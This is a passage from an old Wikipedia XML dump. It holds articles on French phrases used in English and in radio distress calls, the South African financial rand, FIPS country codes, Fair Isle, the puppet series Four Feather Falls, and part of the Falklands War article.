* [[double entendre]]&amp;mdash;''double meaning'', for which [[Francophone]]s would use «double sens».  The verb entendre, ''to hear'' (modern), originally meant ''to understand''. ''(Note: French usage: &quot;un mot à double sens&quot;: a word with more than one meaning; &quot;une phrase à double entente&quot;: a sentence with a hidden meaning. &quot;À double entente&quot; is listed in the [[Petit Larousse]] [[1994]] with no mention of its being obsolete or regional.)''
* [[encore]]&amp;mdash;A request to repeat a performance, as in “Encore !”, lit. ''again''; also used to describe additional songs played at the end of a [[gig]]. Francophones would say «bis !» (''a second time !''); or «Une autre !» (''Another one !'') to request «un rappel» (an ''encore'').
* [[entrée]] or entree&amp;mdash;The main dish or course of a meal (US); in French, entrée literally means ''entrance'' and refers to the appetizer (UK).
* [[faux pas]]&amp;mdash;An embarrassing social error, lit. ''false step''; sometimes used in French to mean ''to slip''.  Francophones would normally use «gaffe».
* [[femme]]—a stereotypically effeminate gay man or lesbian (slang)
* Le mot juste&amp;mdash;The right word, lit. ''the just word''
* [[Maitre d']]- Francophones would say maître d'hôtel instead
* [[petard]]&amp;mdash;A metaphorical trap, as in “hoist by one's own petard”, or “caught in one's own trap”.  In French, pétard means ''fire-cracker'' or ''small explosive device''. In Medieval warfare, a petard was a primitive mine hoisted by a crane against a castle gate in a siege.
* Répondez s'il vous plaît. ([[RSVP]])&amp;mdash;''Please reply''.  Francophones use &quot;prière de répondre&quot;. ''(Note: RSLP [&quot;Réponde s'il lui plaît&quot;] is used on old-fashioned invitations written in the 3rd person, usually in &quot;Script&quot; typography -- at least in Belgium.)''
* [[Résumé]]&amp;mdash;In [[North American English]], a document listing one's qualifications for employment. Francophones call this a ''curriculum vitae'' (''CV'' for short), a [[Latin]] phrase meaning &quot;course of life,&quot; as do speakers of [[Commonwealth English]] and some other European languages.
* [[succès de scandale]]&amp;mdash;''Success through scandal''; Francophones might use «succès par médisance».
* [[voir dire]]—jury selection ([[Law French]]).

==French phrases in international air-sea rescue==
International authorities have adopted a number of words and phrases from French for use by speakers of all languages in voice communications during air-sea rescues. Note that the &quot;phonetic&quot; versions are presented as shown and not in [[International Phonetic Alphabet|IPA]].

* SECURITAY (''securité'', “safety”) &amp;ndash; the following is a safety message or warning, the lowest level of danger.
* [[Pan-pan|PAN PAN]] (''panne'', “breakdown”) &amp;ndash; the following is a message concerning a danger to a person or ship, the next level of danger.
* [[Mayday|MAYDAY]] (''[venez] m'aider'', “come help me” ; N.B. &quot;Aidez-moi&quot; means &quot;help me&quot;) &amp;ndash; the following is a message of extreme urgency, the highest level of danger. ''(MAYDAY is used on voice channels for the same uses as SOS on [[Morse code|Morse]] channels.)''
* SEELONCE (''silence'', “silence”) &amp;ndash; keep this channel clear for air-sea rescue communications.
* SEELONCE FEE NEE (''silence fini'', “silence is over”) &amp;ndash; this channel is now available again.
* PRU DONCE (''prudence'', “prudence”) &amp;ndash; silence partially lifted, channel may be used again for urgent non-distress communication.
* MAY DEE CAL (''médical'', “medical”) &amp;ndash; medical assistance needed.

It is a serious breach in most countries, and in international zones, to use any of these phrases without justification.

''See [[Mayday]] for a more detailed explanation.''

==See also==
* [[List of English words of French origin]]
* [[Common phrases in different languages]]
* [[French language]]
* [[List of French phrases]]
* [[List of French proverbs]]
* [[List of Latin words with English derivatives]]
* [[List of Latin phrases]]
* [[List of Greek phrases]]
* [[List of German expressions in English]]
* [[List of German words and phrases]]
* [[List of Spanish expressions in common English]]

==External links==
*''Communications Instructions, Distress and Rescue Procedures'' [http://www.dtic.mil/jcs/j6/cceb/acps/Acp135e.pdf Combined Communications-Electronics Board] of Australia, Canada, New Zealand, United Kingdom, United States. [[Portable Document Format|PDF]] document.

[[Category:French phrases|*]]
[[Category:Lists]]
[[da:Franske ord og vendinger]]</text>
    </revision>
  </page>
  <page>
    <title>Financial rand</title>
    <id>11516</id>
    <revision>
      <id>23004794</id>
      <timestamp>2005-09-10T23:47:55Z</timestamp>
      <contributor>
        <username>Radagast</username>
        <id>36250</id>
      </contributor>
      <minor />
      <comment>wiki Rand</comment>
      <text xml:space="preserve">The [[South Africa]]n '''financial rand''' system was abolished with effect from [[March 13]] [[1995]]. The financial rand system was instituted on [[September 1]] [[1985]] in an attempt to control the large outflows of capital from South Africa at that time. These outflows were largely the result of economic sanctions in response to [[Apartheid]]. The financial rand system provided for two exchange rates for the [[Rand (currency)|rand]], one for current account transactions, and one for capital account transactions for non-residents. Investments made in South Africa by non-residents could only be sold for financial rand, and limitations were placed on the convertibility of financial rand into foreign currencies. Financial rand had the [[ISO 4217|ISO 4217 currency code]] ZAL. The financial had a previous life, from January 1979 to February 1983. The 1985 crisis coincided with a default (then called a &quot;standstill&quot;) on foreign debt by the Apartheid government.

{{money-stub}}</text>
    </revision>
  </page>
  <page>
    <title>List of FIPS country codes</title>
    <id>11517</id>
    <revision>
      <id>39662764</id>
      <timestamp>2006-02-15T00:31:54Z</timestamp>
      <contributor>
        <username>JFG</username>
        <id>168812</id>
      </contributor>
      <comment>Who the hell changed UK to GB ??? Don't confuse FIPS wit ISO, GB is Gabon here !</comment>
      <text xml:space="preserve">This is a list of [[FIPS 10-4]] [[country code]]s. There is also a [[List of FIPS region codes]]. Non-sovereign entities are in parentheses.
{| id=&quot;toc&quot; border=&quot;0&quot;
! {{MediaWiki:Toc}}:
|  [[#A|A]] [[#B|B]] [[#C|C]] [[#D|D]] [[#E|E]] [[#F|F]] [[#G|G]] [[#H|H]] [[#I|I]] [[#J|J]] [[#K|K]] [[#L|L]] [[#M|M]] [[#N|N]] O [[#P|P]] [[#Q|Q]] [[#R|R]] [[#S|S]] [[#T|T]] [[#U|U]] [[#V|V]] [[#W|W]] X [[#Y|Y]] [[#Z|Z]] &lt;br&gt; [[#Resources|Resources]] - [[#See also|See also]]__NOTOC__
|}
==A==
* AA ([[Aruba]])
* AC [[Antigua and Barbuda]]
* AE [[United Arab Emirates]]
* AF [[Afghanistan]]
* AG [[Algeria]]
* AJ [[Azerbaijan]]
* AL [[Albania]]
* AM [[Armenia]]
* AN [[Andorra]]
* AO [[Angola]]
* AQ ([[American Samoa]])
* AR [[Argentina]]
* AS [[Australia]]
* AT ([[Ashmore and Cartier Islands]])
* AU [[Austria]]
* AV ([[Anguilla]])
* AY ([[Antarctica]])

==B==
* BA [[Bahrain]]
* BB [[Barbados]]
* BC [[Botswana]]
* BD ([[Bermuda]])
* BE [[Belgium]]
* BF [[Bahamas]]
* BG [[Bangladesh]]
* BH [[Belize]]
* BK [[Bosnia and Herzegovina]]
* BL [[Bolivia]]
* BM [[Myanmar]]
* BN [[Benin]]
* BO [[Belarus]]
* BP [[Solomon Islands]]
* BQ ([[Navassa Island]])
* BR [[Brazil]]
* BS ([[Bassas da India]])
* BT [[Bhutan]]
* BU [[Bulgaria]]
* BV ([[Bouvet Island]])
* BX [[Brunei]]
* BY [[Burundi]]

==C==
* CA [[Canada]]
* CB [[Cambodia]]
* CD [[Chad]]
* CE [[Sri Lanka]]
* CF [[Republic of the Congo]]
* CG [[Democratic Republic of the Congo]]
* CH [[People's Republic of China]]
* CI [[Chile]]
* CJ ([[Cayman Islands]])
* CK ([[Cocos (Keeling) Islands]])
* CM [[Cameroon]]
* CN [[Comoros]]
* CO [[Colombia]]
* CQ ([[Northern Mariana Islands]])
* CR ([[Coral Sea Islands]])
* CS [[Costa Rica]]
* CT [[Central African Republic]]
* CU [[Cuba]]
* CV [[Cape Verde]]
* CW ([[Cook Islands]])
* CY [[Cyprus]]

==D==
* DA [[Denmark]]
* DJ [[Djibouti]]
* DO [[Dominica]]
* DQ ([[Jarvis Island]])
* DR [[Dominican Republic]]

==E==
* EC [[Ecuador]]
* EG [[Egypt]]
* EI [[Republic of Ireland]]
* EK [[Equatorial Guinea]]
* EN [[Estonia]]
* ER [[Eritrea]]
* ES [[El Salvador]]
* ET [[Ethiopia]]
* EU ([[Europa Island]])
* EZ [[Czech Republic]]

==F==
* FG ([[French Guiana]])
* FI [[Finland]]
* FJ [[Fiji]]
* FK ([[Falkland Islands]]/Islas Malvinas)
* FM [[Federated States of Micronesia]]
* FO ([[Faroe Islands]])
* FP ([[French Polynesia]])
* FQ ([[Baker Island]])
* FR [[France]]
* FS ([[French Southern Territories]])

==G==
* GA [[The Gambia]]
* GB [[Gabon]]
* GG [[Georgia (country)|Georgia]]
* GH [[Ghana]]
* GI ([[Gibraltar]])
* GJ [[Grenada]]
* GK ([[Guernsey]])
* GL ([[Greenland]])
* GM [[Germany]]
* GO ([[Glorioso Islands]])
* GP ([[Guadeloupe]])
* GQ ([[Guam]])
* GR [[Greece]]
* GT [[Guatemala]]
* GV [[Guinea]]
* GY [[Guyana]]
* GZ ([[Gaza Strip]])

==H==
* HA [[Haiti]]
* HK ([[Hong Kong]])
* HM ([[Heard Island and McDonald Islands]])
* HO [[Honduras]]
* HQ ([[Howland Island]])
* HR [[Croatia]]
* HU [[Hungary]]

==I==
* IC [[Iceland]]
* ID [[Indonesia]]
* IM ([[Isle of Man]])
* IN [[India]]
* IO ([[British Indian Ocean Territory]])
* IP ([[Clipperton Island]])
* IR [[Iran]]
* IS [[Israel]]
* IT [[Italy]]
* IV [[Côte d'Ivoire]]
* IY ([[Iraq-Saudi Arabia Neutral Zone]]) (obsolete since [[1993]])
* IZ [[Iraq]]

==J==
* JA [[Japan]]
* JE ([[Jersey]])
* JM [[Jamaica]]
* JN ([[Jan Mayen]])
* JO [[Jordan]]
* JQ ([[Johnston Atoll]])
* JU ([[Juan de Nova Island]])

==K==
* KE [[Kenya]]
* KG [[Kyrgyzstan]]
* KN [[North Korea]]
* KQ ([[Kingman Reef]])
* KR [[Kiribati]]
* KS [[South Korea]]
* KT ([[Christmas Island]])
* KU [[Kuwait]]
* KZ [[Kazakhstan]]

==L==
* LA [[Laos]]
* LE [[Lebanon]]
* LG [[Latvia]]
* LH [[Lithuania]]
* LI [[Liberia]]
* LO [[Slovakia]]
* LS [[Liechtenstein]]
* LT [[Lesotho]]
* LU [[Luxembourg]]
* LY [[Libya]]

==M==
* MA [[Madagascar]]
* MB ([[Martinique]])
* MC ([[Macau]])
* MD [[Moldova]]
* MF ([[Mayotte]])
* MG [[Mongolia]]
* MH ([[Montserrat]])
* MI [[Malawi]]
* MK [[Republic of Macedonia]]
* ML [[Mali]]
* MN [[Monaco]]
* MO [[Morocco]]
* MP [[Mauritius]]
* MQ ([[Midway Islands]])
* MR [[Mauritania]]
* MT [[Malta]]
* MU [[Oman]]
* MV [[Maldives]]
* MX [[Mexico]]
* MY [[Malaysia]]
* MZ [[Mozambique]]

==N==
* NC ([[New Caledonia]])
* NE ([[Niue]])
* NF ([[Norfolk Island]])
* NG [[Niger]]
* NH [[Vanuatu]]
* NI [[Nigeria]]
* NL [[Netherlands]]
* NO [[Norway]]
* NP [[Nepal]]
* NR [[Nauru]]
* NS [[Suriname]]
* NT ([[Netherlands Antilles]])
* NU [[Nicaragua]]
* NZ [[New Zealand]]

==P==
* PA [[Paraguay]]
* PC ([[Pitcairn Islands]])
* PE [[Peru]]
* PF ([[Paracel Islands]])
* PG ([[Spratly Islands]])
* PK [[Pakistan]]
* PL [[Poland]]
* PM [[Panama]]
* PO [[Portugal]]
* PP [[Papua New Guinea]]
* PS [[Palau]]
* PU [[Guinea-Bissau]]

==Q==
* QA [[Qatar]]

==R==
* RE ([[Réunion]])
* RM [[Marshall Islands]]
* RO [[Romania]]
* RP [[Philippines]]
* RQ ([[Puerto Rico]])
* RS [[Russia]]
* RW [[Rwanda]]

==S==
* SA [[Saudi Arabia]]
* SB ([[Saint Pierre and Miquelon]])
* SC [[Saint Kitts and Nevis]]
* SE [[Seychelles]]
* SF [[South Africa]]
* SG [[Senegal]]
* SH ([[Saint Helena]])
* SI [[Slovenia]]
* SL [[Sierra Leone]]
* SM [[San Marino]]
* SN [[Singapore]]
* SO [[Somalia]]
* SP [[Spain]]
* ST [[Saint Lucia]]
* SU [[Sudan]]
* SV ([[Svalbard]])
* SW [[Sweden]]
* SX ([[South Georgia and the South Sandwich Islands]])
* SY [[Syria]]
* SZ [[Switzerland]]

==T==
* TD [[Trinidad and Tobago]]
* TE ([[Tromelin Island]])
* TH [[Thailand]]
* TI [[Tajikistan]]
* TK ([[Turks and Caicos Islands]])
* TL ([[Tokelau]])
* TN [[Tonga]]
* TO [[Togo]]
* TP [[São Tomé and Príncipe]]
* TS [[Tunisia]]
* TT [[Timor-Leste]]/East Timor (recent update: see FIPS publication number FIPS 104­)
* TU [[Turkey]]
* TV [[Tuvalu]]
* TW [[Republic of China]] ([[Taiwan]])
* TX [[Turkmenistan]]
* TZ [[Tanzania]]

==U==
* UG [[Uganda|Republic of Uganda]]
* UK [[United Kingdom]]
* UP [[Ukraine]]
* US [[United States]]
* UV [[Burkina Faso]]
* UY [[Uruguay]]
* UZ [[Uzbekistan]]

==V==
* VC [[Saint Vincent and the Grenadines]]
* VE [[Venezuela]]
* VI ([[British Virgin Islands]])
* VM [[Vietnam]]
* VQ ([[American Virgin Islands]])
* VT [[Vatican City]]

==W==
* WA [[Namibia]]
* WE ([[West Bank]])
* WF ([[Wallis and Futuna]])
* WI ([[Western Sahara]])
* WQ ([[Wake Island]])
* WS [[Samoa]]
* WZ [[Swaziland]]

==Y==
* YI [[Serbia and Montenegro]]
* YM [[Yemen]]

==Z==
* ZA [[Zambia]]
* ZI [[Zimbabwe]]

==Resources==
The above is taken from a US Government public-domain source at
[http://www.state.gov/www/regions/independent_states.html].

The complete standard can be found at [http://earth-info.nima.mil/gns/html/fips10-4.html], with Updates at [http://earth-info.nima.mil/gns/html/fips_files.html].

* FIPS PUB 10-4: Federal Information Processing Standard 10-4: ''Countries, Dependencies, Areas of Special Sovereignty, and Their Principal Administrative Divisions'', April 1995
* DAFIF 0413, Edition 7, Amendment No. 3, November 2003
* DIA 65-18: Defense Intelligence Agency, ''Geopolitical Data Elements and Related Features'', 1994

== See also ==
* [[List of FIPS region codes]]

[[Category:Country codes|FIPS country codes]]
[[Category:Lists of abbreviations|FIPS country codes]]
[[fr:Liste des codes de pays FIPS 10-4]]</text>
    </revision>
  </page>
  <page>
    <title>Fair Isle</title>
    <id>11519</id>
    <revision>
      <id>31043282</id>
      <timestamp>2005-12-12T12:47:03Z</timestamp>
      <contributor>
        <username>Cactus.man</username>
        <id>264914</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted redirection bypass from [[Fairtrade Island]] to [[Fairtrade Town]]</comment>
      <text xml:space="preserve">[[Image:Fair Isle - West cliffs.jpg|thumb|200px|West cliffs, looking southwest towards Malcolm's Head.]]


''This page is about the physical island.  For the knitting technique, see [[Fair Isle (technique)]].''

'''Fair Isle''' ''(From [[Old Norse language|Old Norse]] frioar-øy)'' is an island in the [[British Isles]] lying around halfway between the [[Shetland Islands]] and the [[Orkney Islands]] at {{coor dm|59|32|N|1|32|W|}}. Three miles (4.8 km) in length and 1.5 miles (2.4 km) wide, it has an area of 1402 acres (5.61 km&amp;sup2;). The island is situated around 25 miles (40 km) south-west of [[Sumburgh]] on the Shetland mainland.

The majority of the 70 islanders live in the crofts on the southern half of the island, with the northern half consisting of rocky moorland. The western coast consists of cliffs of up to 660 feet (200 m) in height. The population has been decreasing steadily from around 400 in around [[1900]]. There are no pubs or restaurants on the island, but there is a single primary school. After the age of 11, children must attend a boarding school in [[Lerwick]].

Although it is marginally closer to [[North Ronaldsay]] island in the Orkneys, Fair Isle is administratively part of the Shetland Islands. It gives its name to one of the [[British Sea Areas]].

Fair Isle has been occupied since the [[Bronze Age]] which is remarkable because of the lack of raw materials on the island. It has a permanent [[bird observatory]] because of its importance as a [[bird migration]] watchpoint and this provides most of the accommodation on the island. It is unusual amongst bird observatories in providing catered accommodation rather than hostel-style. Many rare species of [[bird]] have been found on the island, and it is probably the best place in western Europe to see skulking [[Siberia]]n [[passerine]]s like [[Pechora Pipit]], [[Lanceolated Warbler]] and [[Pallas's Grasshopper Warbler]].

The island was bought by the [[National Trust for Scotland]] in [[1954]] from George Waterson, the founder of the bird observatory.

[[Image:Fair Isle - Croft houses.jpg|thumb|left|250px|Croft houses.]]

Fair Isle is famous for its knitted sweaters, with [[knitting]] forming an important source of income for the women of the islands. The principal activity for the male islanders is [[crofting]].

On [[January 29]], [[2004]], Fair Isle was granted [[Fairtrade Town|Fairtrade Island]] status.

On [[August 20]], [[1588]] the flagship of the [[Spanish Armada]], ''El Gran Grifón'', was shipwrecked in the cove of [[Stroms Heelor]], forcing its 300 sailors to spend six weeks living with the islanders. The wreck was discovered in [[1970]].

==External links==

*[http://www.fairisle.org.uk/ Fair Isle community website]
*[http://www.fairislebirdobs.co.uk/ Fair Isle bird observatory]
*[http://www.world-airport-codes.com/united-kingdom/fair-isle-2249.html Details of its airport]
*[http://www.sumburgh.shetland.co.uk/shetland/south/fairisle/fair_map.html Photographic tour of the island]
*{{gbmapping|HZ209717}}

[[Category:Shetland Islands]]
[[Category:Fairtrade settlements]]
[[Category:National Trust for Scotland properties]]

[[da:Fair Isle]]
[[de:Fair Isle]]
[[gd:Fara]]
[[it:Isola di Fair]]
[[sv:Fair Isle]]</text>
    </revision>
  </page>
  <page>
    <title>Four Feather Falls</title>
    <id>11520</id>
    <revision>
      <id>38790090</id>
      <timestamp>2006-02-08T17:55:59Z</timestamp>
      <contributor>
        <ip>68.154.105.198</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox television |
  show_name    = Four Feather Falls|
  image        = [[Image:FourFeatherFallsDVD.jpg|center|200px]]|
  caption      = Opening title|
  format       = [[Supermarionation]] western adventure|
  runtime      = 13 min.|
  creator      = [[Gerry Anderson]] &lt;br&gt; [[Barry Gray]]|
  starring     = [[Nicholas Parsons]]|
  country      = [[United Kingdom|UK]]|
  network      = [[ITV]]|
  first_aired  = [[February 25]], [[1960]]|
  last_aired   = [[November 17]], [[1960]]|
  num_episodes = 39|
}}
'''''Four Feather Falls''''' was the third puppet TV show produced by [[Gerry Anderson]], from an idea by [[Barry Gray]]. Gray, most noted as a composer who created the theme songs for many of the Andersons' creations, also wrote the first episode.

The premise of the series centers around [[Western (genre)|Western]] sheriff (Tex Tucker) who is given four [[magic (paranormal)|magic]] feathers by Indian Chief Kalamakooya as a reward for saving the life of Makooya, the chief's son. Two of these feathers allow his guns to swivel and fire automatically and the other two allow his horse (Rocky) and his dog (Dusty) to speak [[English language|English]].

The show was made on a tight budget and could not afford sophisticated special effects. To achieve the effect of the guns' muzzle flashes, small specks of black paint were carefully applied to the [[35 mm film|35 mm]] negatives, so that they would appear as white flashes on the prints.

The series was the first to use an early version of Anderson's [[Supermarionation]] puppetry process, although the term wouldn't be coined until Anderson's next series, ''[[Supercar (television)|Supercar]]''.
[[Image:FourFeatherFalls.jpg|left]]
The series has not been repeated in Britain since the 1960s, although it was released on video there in the 1990s. In December 2004 it was announced that the rights had been acquired by [[Network Video]], which scheduled a Region 2 [[DVD]] for May 2005. It is the only Supermarionation series not yet released to DVD in [[North America]] as of January 2006.

After its cancellation Gerry Anderson was approached by [[Lew Grade]] to make puppet shows for [[Associated TeleVision|ATV]]. Had Anderson failed to accept, later series such as ''[[Thunderbirds (television)|Thunderbirds]]'' and ''[[Captain Scarlet and the Mysterons]]'' might never have been made.  The rights to the series, and almost all future Anderson productions were sold to Grade's [[ITC Entertainment]].  Grade also part-owned Anderson's [[AP Films]] (which later became [[Century 21 Productions]].

* Producer: [[Gerry Anderson]] 
*  Voice Cast: 
** [[Nicholas Parsons]] 
** [[Denise Bryer]]
** [[Kenneth Connor]] 
** [[David Graham (voice actor)|David Graham]]

Barry Gray, the show's inspirator, also composed the music for the series. The best known song to come out of the series was &quot;Four Feather Falls&quot;, sung in some episodes by [[Michael Holliday]] in the style of [[Bing Crosby]]. This song is sometimes described as the theme song to the series, but it was not as another song referring to the Tex Tucker character actually opened the episodes. The closing theme song was &quot;Two Gun Tex of Texas&quot;.

==External links==
*[http://www.fanderson.org.uk/fanderson.html FANDERSON] The official Gerry Anderson appreciation society site.
*[http://fabgearusa.com FABGear] The North American HQ for Gerry Anderson fans.
*[http://www.nostalgiacentral.com/tv/kids/fourfeatherfalls.htm Nostalgia Central].
*[http://www.televisionheaven.co.uk/fourfeather.htm Television Heaven feature]

==See also==
*[[Supercar (television)|Supercar]]
*[[Fireball XL5]]
*[[Stingray (TV show)]]
*[[Thunderbirds (television)]]
*[[Captain Scarlet]]
*[[Joe 90]]
*[[The Secret Service]]
*[[UFO (TV series)]]
*[[The Protectors]]
*[[Terrahawks]]

[[ja:&amp;#12469;&amp;#12531;&amp;#12480;&amp;#12540;&amp;#12496;&amp;#12540;&amp;#12489;]]
[[Category:ITV television programmes]]
[[Category:Western television series]]
[[Category:ITC Distributions]]</text>
    </revision>
  </page>
  <page>
    <title>Fly-by-wire</title>
    <id>11522</id>
    <revision>
      <id>15909266</id>
      <timestamp>2004-06-09T07:57:27Z</timestamp>
      <contributor>
        <username>Fikri</username>
        <id>37448</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Aircraft flight control systems]]</text>
    </revision>
  </page>
  <page>
    <title>Falklands War</title>
    <id>11523</id>
    <revision>
      <id>42045849</id>
      <timestamp>2006-03-03T12:35:52Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{| class=&quot;infobox&quot; style=&quot;width: 20em;&quot;
|-
|colspan=2 align=center|[[Image:HMS Conqueror (S48).jpg|none|300px|]]&lt;small&gt;&lt;br&gt; HMS ''Conqueror'' returning from the war&lt;/small&gt;
|-
!colspan=2 bgcolor=&quot;#ffff99&quot; |[[Military history of Argentina]]&lt;BR&gt;[[Military history of the United Kingdom]]
|- valign=&quot;top&quot;
! Conflict: || '''Falklands War'''
|- valign=&quot;top&quot;
! Date: || [[April 1]] - [[June 14]] [[1982]]
|- valign=&quot;top&quot;
! Place: || [[Falkland Islands]] and [[South Georgia and the South Sandwich Islands]]
|- valign=&quot;top&quot;
! Result: || [[United Kingdom]] regains possession of the islands.
|-
|colspan=2|
{| border=0 width=300 cellpadding=2 cellspacing=0
|-
!colspan=2 bgcolor=&quot;#ffff99&quot; |Combatants
|-
| width=&quot;50%&quot; valign=&quot;top&quot; style=&quot;text-align:center&quot;|[[Argentina]]&lt;br/&gt;[[Image:Argentina_flag_large.png|100px|Flag of Argentina]]
| width=&quot;50%&quot; valign=&quot;top&quot; style=&quot;text-align:center&quot;|[[United Kingdom]]&lt;br/&gt;[[Image:Flag of the United Kingdom.svg|121px|Flag of the UK]]
|-
!colspan=2 bgcolor=&quot;ffff99&quot; |Military Branches
|-
!colspan=2|Strength
|-
|Geographical advantage
|Tactical and experience advantage
|-
!colspan=2|Casualties
|-
|655 killed,
1,100 wounded,

11,313 prisoners
|255 killed, 
746 wounded
|}
|}

The '''Falklands War''' ([[Spanish language|Spanish]]: ''Guerra de las Malvinas''), was a [[war]] between [[Argentina]] and the [[United Kingdom]] over the [[Falkland Islands]] (also known in Spanish as the ''Islas Malvinas'') and [[South Georgia and the South Sandwich Islands]], between March and June of [[1982]]. The Falklands consist of two large and many small [[island]]s in the [[South Atlantic Ocean]] east of Argentina, whose ownership had long been disputed. ''(See [[Sovereignty of the Falkland Islands]] for the background of that dispute.)''

Argentina was in the midst of a devastating [[economics|economic]] crisis and large-scale [[civil unrest]] against the [[military government|military]] [[junta]] that was governing Argentina in the period leading up to the war. The Argentine government, headed by General [[Leopoldo Galtieri]], decided to play off long-standing [[nationalism|nationalistic]] sentiment by launching what it thought would be a quick and easy war to reclaim the Falkland Islands. The [[Background to the Falklands War|ongoing tension between the two countries]] over the islands increased on [[19 March]] when 50 Argentines landed on the British dependency of [[South Georgia]] and raised their [[Flag of Argentina|flag]], an act that is seen as the first offensive action in the war. On [[2 April]], Galtieri ordered the [[1982 invasion of the Falkland Islands]], triggering the Falklands War.

Though initially surprised by the Argentine attack on the [[South Atlantic]] islands, Britain launched a naval [[task force]] to engage the [[Argentine Navy]] and [[Argentine Air Force|air force]], and retake the islands by amphibious assault. After heavy [[combat]], the British eventually prevailed and the islands remained under British control, although [[as of 2006]], Argentina has still not relinquished its claim to the Falkland Islands. 

The political effects of the war were strong in both countries. The Argentine loss prompted even larger protests against the military government, which prompted its downfall, while a wave of [[patriotism|patriotic]] sentiment swept through the United Kingdom, bolstering the government of British [[Prime Minister of the United Kingdom|Prime Minister]] [[Margaret Thatcher]]. The war has played an important role in the culture of both countries, and has been the subject of several books, movies, and songs, although due to the low number of casualties on both sides it is not seen as a truly major event in the individual history of either country. Militarily, however, it remains important as the sole example of a major naval and amphibious operation between modern forces since the [[World War II|Second World War]]. 

==Lead up to the war==
===Build-up===
[[Image:Galtier.jpg|thumb|150px|Leopoldo Galtieri, President of Argentina during the Falklands War]]
President Galtieri, head of [[Proceso de Reorganización Nacional]] - the military government of Argentina at the time - aimed to counterbalance public concern over economic and [[human rights]] issues with a speedy [[nationalism|nationalist]] victory over the Falklands. Argentina exerted pressure in the [[United Nations]] by raising subtle hints of a possible invasion, but the British either missed or ignored this threat and did not react. The Argentines interpreted the lack of British reaction as [[disengagement]] from the Falklands, and assumed that the British would not use force if the islands were invaded. This viewpoint was encouraged by the planned withdrawal of the last of the [[Royal Navy]] in [[1981]], which would have been included in a general downsizing of the [[fleet]] throughout British territory, and the [[British Nationality Act 1981|British Nationality Act of 1981]], which stripped Falkland Islanders of full [[citizenship]] rights.

The passionately anti-British head of the Argentine navy, [[Jorge Anaya|Admiral Jorge Anaya]], developed the plan to invade the Falklands. Following the failure of further diplomatic talks in January of [[1982]], the invasion plans were finalised and scheduled for April of the same year. The invasion of the populated areas of the Falkland Islands was preceded by the invasion of [[South Georgia and the South Sandwich Islands|South Georgia]], located 1,390 [[kilometre]]s east of the Falklands. The invasion was carried out on [[19 March]] 1982 by a group of Argentinian [[civilian]]s who posed as [[scrap metal]] [[merchant]]s in order to establish a camp on [[South Georgia]] and raise the Argentine flag. The Royal Navy [[Antarctica|Antarctic]] patrol vessel [[HMS Endurance (1967)|HMS ''Endurance'']] was dispatched to remove the camp on [[25 March]], but was prevented from doing so by three Argentine [[warship]]s, forcing it to retreat. However, despite further evidence that the Argentine Navy had begun to assemble troops in [[Puerto Belgrano]], the [[UK Joint Intelligence Committee]]'s [[Latin America]]n group stated on [[30 March]] that &quot;invasion was not imminent&quot;.

===Failed diplomacy===
Since formal [[Diplomacy|diplomatic relations]] were ended between the United Kingdom and Argentina, separate nations represented each nation's diplomatic interests. [[Peru]] was the representative of [[Argentina]] in the [[United Kingdom]], while [[Switzerland]] represented the [[United Kingdom]] in [[Argentina]]. By this arrangement, Argentine [[diplomat]]s in [[London]] were credentialed as Peruvian diplomats of Argentine [[nationality]], while United Kingdom diplomats in [[Buenos Aires]] were credentialed as Swiss diplomats of British nationality. The then-[[Peru|Peruvian]] [[United Nations Secretary-General|Secretary-General]] of the [[United Nations]], [[Javier Pérez de Cuéllar]], announced that his efforts in favour of peace were futile. Although [[Peru]] and [[Switzerland]] exerted great diplomatic pressure to avoid war, they were both unable to head off the conflict, and a [[peace plan]] proposed by [[President of Peru|Peruvian president]] [[Fernando Belaúnde Terry]] was rejected by both sides.

===Invasion===
:''Main article: [[1982 invasion of the Falkland Islands]]''

The [[Government of the United Kingdom|British Government]] warned [[Rex Masterman Hunt]], the then [[Governor of the Falkland Islands]], of a possible Argentine invasion on [[31 March]]. Hunt then organised a defence, and gave military command to [[Mike Norman|Major Mike Norman RM]] who managed to muster a small force of [[royal Marines|British Royal Marines]]. The Argentine [[Lieutenant-Commander]] in charge of the invasion, [[Guillermo Sanchez-Sabarots]], landed his [[squadron]] of [[special forces]] at [[Mullet Creek]]. He proceeded to attack the [[Moody Brook Barracks]], the [[Government House]], and [[Stanley, Falkland Islands|Stanley]], until the British Falkland Islands government located at the Government House [[Surrender (military)|surrender]]ed on [[4 April]].

===Life under the occupation===
Argentina attempted to make several unwelcome changes to the culture of the Falkland Islands, in spite of earlier assurances that the Islanders' way of life and cultural identity would be maintained. Argentina changed Stanley's name to ''Puerto Argentino'', made [[Spanish language|Spanish]] the official language of the Islands, and commanded traffic to [[rules of the road|drive on the right]] by painting arrows on the road indicating the direction of traffic and changing the location of street and traffic signs. Despite the arrows, islanders defiantly continued to drive on the left, demonstrating their determination to remain British.

===Task force===
The British were quick to organise diplomatic pressure against Argentina and because of the long distance between the Falklands and United Kingdom, the British were reliant on a naval [[task force]], centred around the [[aircraft carrier]]s [[HMS Hermes (R12)|HMS ''Hermes'']] and the newly-commissioned [[HMS Invincible (R05)|HMS ''Invincible'']] and commanded by [[Sandy Woodward|Rear Admiral John &quot;Sandy&quot; Woodward]]. This task force would have to be self-reliant and able to project its force across the [[littoral]] area of the Islands. A second component was the amphibious assault shipping, commanded by Commodore M.C. Clapp RN. Contrary to common belief, Admiral Woodward did not command Commodore Clapp's ships. The embarked force comprised [[3 Commando Brigade]] Royal Marines, (including units from the [[Parachute Regiment]]) under the command of [[Brigadier J. Thompson]] RM to bring it up to its wartime strength. Most of this force was aboard the hastily commandeered cruise liner [[RMS Canberra|''Canberra'']]. Both Clapp and Woodward reported directly to the Commander in Chief Fleet (CINCFLEET), Admiral Sir [[John Fieldhouse]], in Britain, who was the overall commander of the operation. In order to keep neutral shipping out of the way during the war, the UK declared a 'total exclusion zone' of 200 nautical miles (370 km) around the Falklands before commencing operation.

